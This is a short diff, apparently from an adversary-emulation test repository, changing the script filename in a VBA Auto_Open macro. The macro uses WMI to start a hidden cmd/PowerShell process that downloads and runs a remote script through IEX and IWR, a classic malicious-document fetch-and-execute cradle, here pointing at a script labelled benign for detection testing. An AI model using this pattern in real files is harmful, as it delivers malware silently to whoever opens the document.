@@ -124,7 +124,7 @@ Sub Auto_Open()
|
||||
Set objConfig = objStartup.SpawnInstance_
|
||||
objConfig.ShowWindow = HIDDEN_WINDOW
|
||||
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
|
||||
objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail_benign.ps1')", Null, objConfig, intProcessID
|
||||
objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/dragonstail_benign.ps1')", Null, objConfig, intProcessID
|
||||
End Sub
|
||||
"@
|
||||
|
||||
|
||||
Reference in New Issue
Block a user